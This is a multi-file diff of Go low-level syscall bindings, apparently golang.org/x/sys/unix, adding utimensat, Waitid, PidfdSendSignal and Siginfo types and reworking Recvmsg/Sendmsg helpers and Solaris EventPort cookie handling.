//sys setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error)
|
||||
|
||||
func utimensat(dirfd int, path string, times *[2]Timespec, flags int) error {
|
||||
// Darwin doesn't support SYS_UTIMENSAT
|
||||
return ENOSYS
|
||||
}
|
||||
//sys utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error)
|
||||
|
||||
/*
|
||||
* Wrapped
|
||||
|
||||
-5
@@ -169,11 +169,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func setattrlistTimes(path string, times []Timespec, flags int) error {
|
||||
// used on Darwin for UtimesNano
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
//sys ioctl(fd int, req uint, arg uintptr) (err error)
|
||||
|
||||
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
|
||||
|
||||
-5
@@ -194,11 +194,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func setattrlistTimes(path string, times []Timespec, flags int) error {
|
||||
// used on Darwin for UtimesNano
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
//sys ioctl(fd int, req uint, arg uintptr) (err error)
|
||||
|
||||
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
|
||||
|
||||
+6
-23
@@ -366,6 +366,8 @@ func Wait4(pid int, wstatus *WaitStatus, options int, rusage *Rusage) (wpid int,
|
||||
return
|
||||
}
|
||||
|
||||
//sys Waitid(idType int, id int, info *Siginfo, options int, rusage *Rusage) (err error)
|
||||
|
||||
func Mkfifo(path string, mode uint32) error {
|
||||
return Mknod(path, mode|S_IFIFO, 0)
|
||||
}
|
||||
@@ -1497,10 +1499,9 @@ func KeyctlRestrictKeyring(ringid int, keyType string, restriction string) error
|
||||
//sys keyctlRestrictKeyringByType(cmd int, arg2 int, keyType string, restriction string) (err error) = SYS_KEYCTL
|
||||
//sys keyctlRestrictKeyring(cmd int, arg2 int) (err error) = SYS_KEYCTL
|
||||
|
||||
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
|
||||
func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
|
||||
var msg Msghdr
|
||||
var rsa RawSockaddrAny
|
||||
msg.Name = (*byte)(unsafe.Pointer(&rsa))
|
||||
msg.Name = (*byte)(unsafe.Pointer(rsa))
|
||||
msg.Namelen = uint32(SizeofSockaddrAny)
|
||||
var iov Iovec
|
||||
if len(p) > 0 {
|
||||
@@ -1531,28 +1532,10 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
|
||||
}
|
||||
oobn = int(msg.Controllen)
|
||||
recvflags = int(msg.Flags)
|
||||
// source address is only specified if the socket is unconnected
|
||||
if rsa.Addr.Family != AF_UNSPEC {
|
||||
from, err = anyToSockaddr(fd, &rsa)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
|
||||
_, err = SendmsgN(fd, p, oob, to, flags)
|
||||
return
|
||||
}
|
||||
|
||||
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
|
||||
var ptr unsafe.Pointer
|
||||
var salen _Socklen
|
||||
if to != nil {
|
||||
var err error
|
||||
ptr, salen, err = to.sockaddr()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
|
||||
var msg Msghdr
|
||||
msg.Name = (*byte)(ptr)
|
||||
msg.Namelen = uint32(salen)
|
||||
@@ -2316,6 +2299,7 @@ type RemoteIovec struct {
|
||||
|
||||
//sys PidfdOpen(pid int, flags int) (fd int, err error) = SYS_PIDFD_OPEN
|
||||
//sys PidfdGetfd(pidfd int, targetfd int, flags int) (fd int, err error) = SYS_PIDFD_GETFD
|
||||
//sys PidfdSendSignal(pidfd int, sig Signal, info *Siginfo, flags int) (err error) = SYS_PIDFD_SEND_SIGNAL
|
||||
|
||||
//sys shmat(id int, addr uintptr, flag int) (ret uintptr, err error)
|
||||
//sys shmctl(id int, cmd int, buf *SysvShmDesc) (result int, err error)
|
||||
@@ -2464,5 +2448,4 @@ func Setitimer(which ItimerWhich, it Itimerval) (Itimerval, error) {
|
||||
// Vfork
|
||||
// Vhangup
|
||||
// Vserver
|
||||
// Waitid
|
||||
// _Sysctl
|
||||
-5
@@ -163,11 +163,6 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
|
||||
return -1, ENOSYS
|
||||
}
|
||||
|
||||
func setattrlistTimes(path string, times []Timespec, flags int) error {
|
||||
// used on Darwin for UtimesNano
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
//sys ioctl(fd int, req uint, arg uintptr) (err error)
|
||||
|
||||
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
|
||||
|
||||
-5
@@ -149,11 +149,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func setattrlistTimes(path string, times []Timespec, flags int) error {
|
||||
// used on Darwin for UtimesNano
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
//sys ioctl(fd int, req uint, arg uintptr) (err error)
|
||||
|
||||
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
|
||||
|
||||
+85
-63
@@ -451,10 +451,9 @@ func Accept(fd int) (nfd int, sa Sockaddr, err error) {
|
||||
|
||||
//sys recvmsg(s int, msg *Msghdr, flags int) (n int, err error) = libsocket.__xnet_recvmsg
|
||||
|
||||
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
|
||||
func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
|
||||
var msg Msghdr
|
||||
var rsa RawSockaddrAny
|
||||
msg.Name = (*byte)(unsafe.Pointer(&rsa))
|
||||
msg.Name = (*byte)(unsafe.Pointer(rsa))
|
||||
msg.Namelen = uint32(SizeofSockaddrAny)
|
||||
var iov Iovec
|
||||
if len(p) > 0 {
|
||||
@@ -476,29 +475,12 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
|
||||
return
|
||||
}
|
||||
oobn = int(msg.Accrightslen)
|
||||
// source address is only specified if the socket is unconnected
|
||||
if rsa.Addr.Family != AF_UNSPEC {
|
||||
from, err = anyToSockaddr(fd, &rsa)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
|
||||
_, err = SendmsgN(fd, p, oob, to, flags)
|
||||
return
|
||||
}
|
||||
|
||||
//sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error) = libsocket.__xnet_sendmsg
|
||||
|
||||
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
|
||||
var ptr unsafe.Pointer
|
||||
var salen _Socklen
|
||||
if to != nil {
|
||||
ptr, salen, err = to.sockaddr()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
|
||||
var msg Msghdr
|
||||
msg.Name = (*byte)(unsafe.Pointer(ptr))
|
||||
msg.Namelen = uint32(salen)
|
||||
@@ -755,8 +737,20 @@ type fileObjCookie struct {
|
||||
type EventPort struct {
|
||||
port int
|
||||
mu sync.Mutex
|
||||
fds map[uintptr]interface{}
|
||||
fds map[uintptr]*fileObjCookie
|
||||
paths map[string]*fileObjCookie
|
||||
// The user cookie presents an interesting challenge from a memory management perspective.
|
||||
// There are two paths by which we can discover that it is no longer in use:
|
||||
// 1. The user calls port_dissociate before any events fire
|
||||
// 2. An event fires and we return it to the user
|
||||
// The tricky situation is if the event has fired in the kernel but
|
||||
// the user hasn't requested/received it yet.
|
||||
// If the user wants to port_dissociate before the event has been processed,
|
||||
// we should handle things gracefully. To do so, we need to keep an extra
|
||||
// reference to the cookie around until the event is processed
|
||||
// thus the otherwise seemingly extraneous "cookies" map
|
||||
// The key of this map is a pointer to the corresponding &fCookie.cookie
|
||||
cookies map[*interface{}]*fileObjCookie
|
||||
}
|
||||
|
||||
// PortEvent is an abstraction of the port_event C struct.
|
||||
@@ -780,9 +774,10 @@ func NewEventPort() (*EventPort, error) {
|
||||
return nil, err
|
||||
}
|
||||
e := &EventPort{
|
||||
port: port,
|
||||
fds: make(map[uintptr]interface{}),
|
||||
paths: make(map[string]*fileObjCookie),
|
||||
port: port,
|
||||
fds: make(map[uintptr]*fileObjCookie),
|
||||
paths: make(map[string]*fileObjCookie),
|
||||
cookies: make(map[*interface{}]*fileObjCookie),
|
||||
}
|
||||
return e, nil
|
||||
}
|
||||
@@ -797,9 +792,13 @@ func NewEventPort() (*EventPort, error) {
|
||||
func (e *EventPort) Close() error {
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
err := Close(e.port)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
e.fds = nil
|
||||
e.paths = nil
|
||||
return Close(e.port)
|
||||
return nil
|
||||
}
|
||||
|
||||
// PathIsWatched checks to see if path is associated with this EventPort.
|
||||
@@ -836,6 +835,7 @@ func (e *EventPort) AssociatePath(path string, stat os.FileInfo, events int, coo
|
||||
return err
|
||||
}
|
||||
e.paths[path] = fCookie
|
||||
e.cookies[&fCookie.cookie] = fCookie
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -848,11 +848,19 @@ func (e *EventPort) DissociatePath(path string) error {
|
||||
return fmt.Errorf("%v is not associated with this Event Port", path)
|
||||
}
|
||||
_, err := port_dissociate(e.port, PORT_SOURCE_FILE, uintptr(unsafe.Pointer(f.fobj)))
|
||||
if err != nil {
|
||||
// If the path is no longer associated with this event port (ENOENT)
|
||||
// we should delete it from our map. We can still return ENOENT to the caller.
|
||||
// But we need to save the cookie
|
||||
if err != nil && err != ENOENT {
|
||||
return err
|
||||
}
|
||||
if err == nil {
|
||||
// dissociate was successful, safe to delete the cookie
|
||||
fCookie := e.paths[path]
|
||||
delete(e.cookies, &fCookie.cookie)
|
||||
}
|
||||
delete(e.paths, path)
|
||||
return nil
|
||||
return err
|
||||
}
|
||||
|
||||
// AssociateFd wraps calls to port_associate(3c) on file descriptors.
|
||||
@@ -862,12 +870,13 @@ func (e *EventPort) AssociateFd(fd uintptr, events int, cookie interface{}) erro
|
||||
if _, found := e.fds[fd]; found {
|
||||
return fmt.Errorf("%v is already associated with this Event Port", fd)
|
||||
}
|
||||
pcookie := &cookie
|
||||
_, err := port_associate(e.port, PORT_SOURCE_FD, fd, events, (*byte)(unsafe.Pointer(pcookie)))
|
||||
fCookie := &fileObjCookie{nil, cookie}
|
||||
_, err := port_associate(e.port, PORT_SOURCE_FD, fd, events, (*byte)(unsafe.Pointer(&fCookie.cookie)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
e.fds[fd] = pcookie
|
||||
e.fds[fd] = fCookie
|
||||
e.cookies[&fCookie.cookie] = fCookie
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -880,11 +889,16 @@ func (e *EventPort) DissociateFd(fd uintptr) error {
|
||||
return fmt.Errorf("%v is not associated with this Event Port", fd)
|
||||
}
|
||||
_, err := port_dissociate(e.port, PORT_SOURCE_FD, fd)
|
||||
if err != nil {
|
||||
if err != nil && err != ENOENT {
|
||||
return err
|
||||
}
|
||||
if err == nil {
|
||||
// dissociate was successful, safe to delete the cookie
|
||||
fCookie := e.fds[fd]
|
||||
delete(e.cookies, &fCookie.cookie)
|
||||
}
|
||||
delete(e.fds, fd)
|
||||
return nil
|
||||
return err
|
||||
}
|
||||
|
||||
func createFileObj(name string, stat os.FileInfo) (*fileObj, error) {
|
||||
@@ -912,26 +926,48 @@ func (e *EventPort) GetOne(t *Timespec) (*PortEvent, error) {
|
||||
return nil, err
|
||||
}
|
||||
p := new(PortEvent)
|
||||
p.Events = pe.Events
|
||||
p.Source = pe.Source
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
switch pe.Source {
|
||||
case PORT_SOURCE_FD:
|
||||
p.Fd = uintptr(pe.Object)
|
||||
cookie := (*interface{})(unsafe.Pointer(pe.User))
|
||||
p.Cookie = *cookie
|
||||
delete(e.fds, p.Fd)
|
||||
case PORT_SOURCE_FILE:
|
||||
p.fobj = (*fileObj)(unsafe.Pointer(uintptr(pe.Object)))
|
||||
p.Path = BytePtrToString((*byte)(unsafe.Pointer(p.fobj.Name)))
|
||||
cookie := (*interface{})(unsafe.Pointer(pe.User))
|
||||
p.Cookie = *cookie
|
||||
delete(e.paths, p.Path)
|
||||
}
|
||||
e.peIntToExt(pe, p)
|
||||
return p, nil
|
||||
}
|
||||
|
||||
// peIntToExt converts a cgo portEvent struct into the friendlier PortEvent
|
||||
// NOTE: Always call this function while holding the e.mu mutex
|
||||
func (e *EventPort) peIntToExt(peInt *portEvent, peExt *PortEvent) {
|
||||
peExt.Events = peInt.Events
|
||||
peExt.Source = peInt.Source
|
||||
cookie := (*interface{})(unsafe.Pointer(peInt.User))
|
||||
peExt.Cookie = *cookie
|
||||
switch peInt.Source {
|
||||
case PORT_SOURCE_FD:
|
||||
delete(e.cookies, cookie)
|
||||
peExt.Fd = uintptr(peInt.Object)
|
||||
// Only remove the fds entry if it exists and this cookie matches
|
||||
if fobj, ok := e.fds[peExt.Fd]; ok {
|
||||
if &fobj.cookie == cookie {
|
||||
delete(e.fds, peExt.Fd)
|
||||
}
|
||||
}
|
||||
case PORT_SOURCE_FILE:
|
||||
if fCookie, ok := e.cookies[cookie]; ok && uintptr(unsafe.Pointer(fCookie.fobj)) == uintptr(peInt.Object) {
|
||||
// Use our stashed reference rather than using unsafe on what we got back
|
||||
// the unsafe version would be (*fileObj)(unsafe.Pointer(uintptr(peInt.Object)))
|
||||
peExt.fobj = fCookie.fobj
|
||||
} else {
|
||||
panic("mismanaged memory")
|
||||
}
|
||||
delete(e.cookies, cookie)
|
||||
peExt.Path = BytePtrToString((*byte)(unsafe.Pointer(peExt.fobj.Name)))
|
||||
// Only remove the paths entry if it exists and this cookie matches
|
||||
if fobj, ok := e.paths[peExt.Path]; ok {
|
||||
if &fobj.cookie == cookie {
|
||||
delete(e.paths, peExt.Path)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Pending wraps port_getn(3c) and returns how many events are pending.
|
||||
func (e *EventPort) Pending() (int, error) {
|
||||
var n uint32 = 0
|
||||
@@ -962,21 +998,7 @@ func (e *EventPort) Get(s []PortEvent, min int, timeout *Timespec) (int, error)
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
for i := 0; i < int(got); i++ {
|
||||
s[i].Events = ps[i].Events
|
||||
s[i].Source = ps[i].Source
|
||||
switch ps[i].Source {
|
||||
case PORT_SOURCE_FD:
|
||||
s[i].Fd = uintptr(ps[i].Object)
|
||||
cookie := (*interface{})(unsafe.Pointer(ps[i].User))
|
||||
s[i].Cookie = *cookie
|
||||
delete(e.fds, s[i].Fd)
|
||||
case PORT_SOURCE_FILE:
|
||||
s[i].fobj = (*fileObj)(unsafe.Pointer(uintptr(ps[i].Object)))
|
||||
s[i].Path = BytePtrToString((*byte)(unsafe.Pointer(s[i].fobj.Name)))
|
||||
cookie := (*interface{})(unsafe.Pointer(ps[i].User))
|
||||
s[i].Cookie = *cookie
|
||||
delete(e.paths, s[i].Path)
|
||||
}
|
||||
e.peIntToExt(&ps[i], &s[i])
|
||||
}
|
||||
return int(got), err
|
||||
}
|
||||
+27
@@ -337,6 +337,33 @@ func Recvfrom(fd int, p []byte, flags int) (n int, from Sockaddr, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
|
||||
var rsa RawSockaddrAny
|
||||
n, oobn, recvflags, err = recvmsgRaw(fd, p, oob, flags, &rsa)
|
||||
// source address is only specified if the socket is unconnected
|
||||
if rsa.Addr.Family != AF_UNSPEC {
|
||||
from, err = anyToSockaddr(fd, &rsa)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
|
||||
_, err = SendmsgN(fd, p, oob, to, flags)
|
||||
return
|
||||
}
|
||||
|
||||
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
|
||||
var ptr unsafe.Pointer
|
||||
var salen _Socklen
|
||||
if to != nil {
|
||||
ptr, salen, err = to.sockaddr()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
return sendmsgN(fd, p, oob, ptr, salen, flags)
|
||||
}
|
||||
|
||||
func Send(s int, buf []byte, flags int) (err error) {
|
||||
return sendto(s, buf, flags, nil, 0)
|
||||
}
|
||||
|
||||
+4
@@ -2135,6 +2135,10 @@ const (
|
||||
PTRACE_SYSCALL_INFO_NONE = 0x0
|
||||
PTRACE_SYSCALL_INFO_SECCOMP = 0x3
|
||||
PTRACE_TRACEME = 0x0
|
||||
P_ALL = 0x0
|
||||
P_PGID = 0x2
|
||||
P_PID = 0x1
|
||||
P_PIDFD = 0x3
|
||||
QNX4_SUPER_MAGIC = 0x2f
|
||||
QNX6_SUPER_MAGIC = 0x68191122
|
||||
RAMFS_MAGIC = 0x858458f6
|
||||
|
||||
+9
-4
@@ -643,17 +643,22 @@ var libc_flistxattr_trampoline_addr uintptr
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
|
||||
_, _, e1 := syscall_syscall6(libc_setattrlist_trampoline_addr, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
|
||||
func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
|
||||
var _p0 *byte
|
||||
_p0, err = BytePtrFromString(path)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, _, e1 := syscall_syscall6(libc_utimensat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
var libc_setattrlist_trampoline_addr uintptr
|
||||
var libc_utimensat_trampoline_addr uintptr
|
||||
|
||||
//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
|
||||
//go:cgo_import_dynamic libc_utimensat utimensat "/usr/lib/libSystem.B.dylib"
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
|
||||
+4
-4
@@ -228,11 +228,11 @@ TEXT libc_flistxattr_trampoline<>(SB),NOSPLIT,$0-0
|
||||
GLOBL ·libc_flistxattr_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_flistxattr_trampoline_addr(SB)/8, $libc_flistxattr_trampoline<>(SB)
|
||||
|
||||
TEXT libc_setattrlist_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_setattrlist(SB)
|
||||
TEXT libc_utimensat_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_utimensat(SB)
|
||||
|
||||
GLOBL ·libc_setattrlist_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_setattrlist_trampoline_addr(SB)/8, $libc_setattrlist_trampoline<>(SB)
|
||||
GLOBL ·libc_utimensat_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_utimensat_trampoline_addr(SB)/8, $libc_utimensat_trampoline<>(SB)
|
||||
|
||||
TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_fcntl(SB)
|
||||
|
||||
+9
-4
@@ -643,17 +643,22 @@ var libc_flistxattr_trampoline_addr uintptr
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
|
||||
_, _, e1 := syscall_syscall6(libc_setattrlist_trampoline_addr, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
|
||||
func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
|
||||
var _p0 *byte
|
||||
_p0, err = BytePtrFromString(path)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, _, e1 := syscall_syscall6(libc_utimensat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
var libc_setattrlist_trampoline_addr uintptr
|
||||
var libc_utimensat_trampoline_addr uintptr
|
||||
|
||||
//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
|
||||
//go:cgo_import_dynamic libc_utimensat utimensat "/usr/lib/libSystem.B.dylib"
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
|
||||
+4
-4
@@ -228,11 +228,11 @@ TEXT libc_flistxattr_trampoline<>(SB),NOSPLIT,$0-0
|
||||
GLOBL ·libc_flistxattr_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_flistxattr_trampoline_addr(SB)/8, $libc_flistxattr_trampoline<>(SB)
|
||||
|
||||
TEXT libc_setattrlist_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_setattrlist(SB)
|
||||
TEXT libc_utimensat_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_utimensat(SB)
|
||||
|
||||
GLOBL ·libc_setattrlist_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_setattrlist_trampoline_addr(SB)/8, $libc_setattrlist_trampoline<>(SB)
|
||||
GLOBL ·libc_utimensat_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_utimensat_trampoline_addr(SB)/8, $libc_utimensat_trampoline<>(SB)
|
||||
|
||||
TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_fcntl(SB)
|
||||
|
||||
+20
@@ -231,6 +231,16 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func Waitid(idType int, id int, info *Siginfo, options int, rusage *Rusage) (err error) {
|
||||
_, _, e1 := Syscall6(SYS_WAITID, uintptr(idType), uintptr(id), uintptr(unsafe.Pointer(info)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0)
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
|
||||
r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
|
||||
ret = int(r0)
|
||||
@@ -1992,6 +2002,16 @@ func PidfdGetfd(pidfd int, targetfd int, flags int) (fd int, err error) {
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func PidfdSendSignal(pidfd int, sig Signal, info *Siginfo, flags int) (err error) {
|
||||
_, _, e1 := Syscall6(SYS_PIDFD_SEND_SIGNAL, uintptr(pidfd), uintptr(sig), uintptr(unsafe.Pointer(info)), uintptr(flags), 0, 0)
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func shmat(id int, addr uintptr, flag int) (ret uintptr, err error) {
|
||||
r0, _, e1 := Syscall(SYS_SHMAT, uintptr(id), uintptr(addr), uintptr(flag))
|
||||
ret = uintptr(r0)
|
||||
|
||||
+7
@@ -250,6 +250,13 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ [116]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -265,6 +265,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+7
@@ -241,6 +241,13 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ [116]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -244,6 +244,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+7
@@ -246,6 +246,13 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x80
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Code int32
|
||||
Errno int32
|
||||
_ [116]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -247,6 +247,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x80
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Code int32
|
||||
Errno int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -247,6 +247,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x80
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Code int32
|
||||
Errno int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+7
@@ -246,6 +246,13 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x80
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Code int32
|
||||
Errno int32
|
||||
_ [116]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+7
@@ -253,6 +253,13 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ [116]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -254,6 +254,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -254,6 +254,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -272,6 +272,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -267,6 +267,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -249,6 +249,14 @@ type Sigset_t struct {
|
